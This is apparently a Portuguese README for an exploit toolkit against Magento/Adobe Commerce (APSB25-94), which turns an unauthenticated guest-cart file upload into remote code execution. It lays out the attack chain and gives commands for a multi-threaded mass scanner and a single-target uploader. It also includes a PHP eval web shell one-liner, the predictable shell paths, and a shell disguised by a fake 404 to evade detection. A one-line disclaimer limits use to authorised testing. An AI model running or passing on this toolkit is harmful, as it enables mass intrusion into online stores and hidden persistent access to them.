Magento APSB25-94 — Upload de Arquivo Não Autenticado para RCE

Visão Geral

Explora o upload de arquivo não autenticado no Magento / Adobe Commerce via upload de arquivo custom_options do carrinho de convidado da API REST.

Cadeia de Ataque

1. GraphQL → leak product SKU
2. REST API → create guest cart
3. REST API → upload PNG polyshell via custom_options file_info
4. HTTP GET → access .php at predictable path
5. PHP exec → RCE

Ferramentas

magento_godzilla.py — Scanner em Lote

Upload em duas fases: arquivo de sonda (seguro contra WAF) + shell eval (camuflagem 404).

pip install requests
python magento_godzilla.py -f urls.txt -t 20 -o results.txt

Saída: RCE_CONFIRMED, SHELL_KILLED, PROBE_ONLY

magento_upload.py — Upload para Alvo Único

python magento_upload.py -u https://target.com -f godzilla.php
python magento_upload.py -u https://target.com -c '<?php eval($_POST[1]);?>'
python magento_upload.py -u https://target.com -f shell.php --raw

Caminhos de Upload

/pub/media/custom_options/quote/{c1}/{c2}/{filename}
/media/custom_options/quote/{c1}/{c2}/{filename}

Camuflagem do Shell

GET retorna um falso 404 (HTTP 200 + corpo "Not Found"). POST com parâmetro de senha executa código.

Aviso Legal

Apenas para testes de segurança autorizados.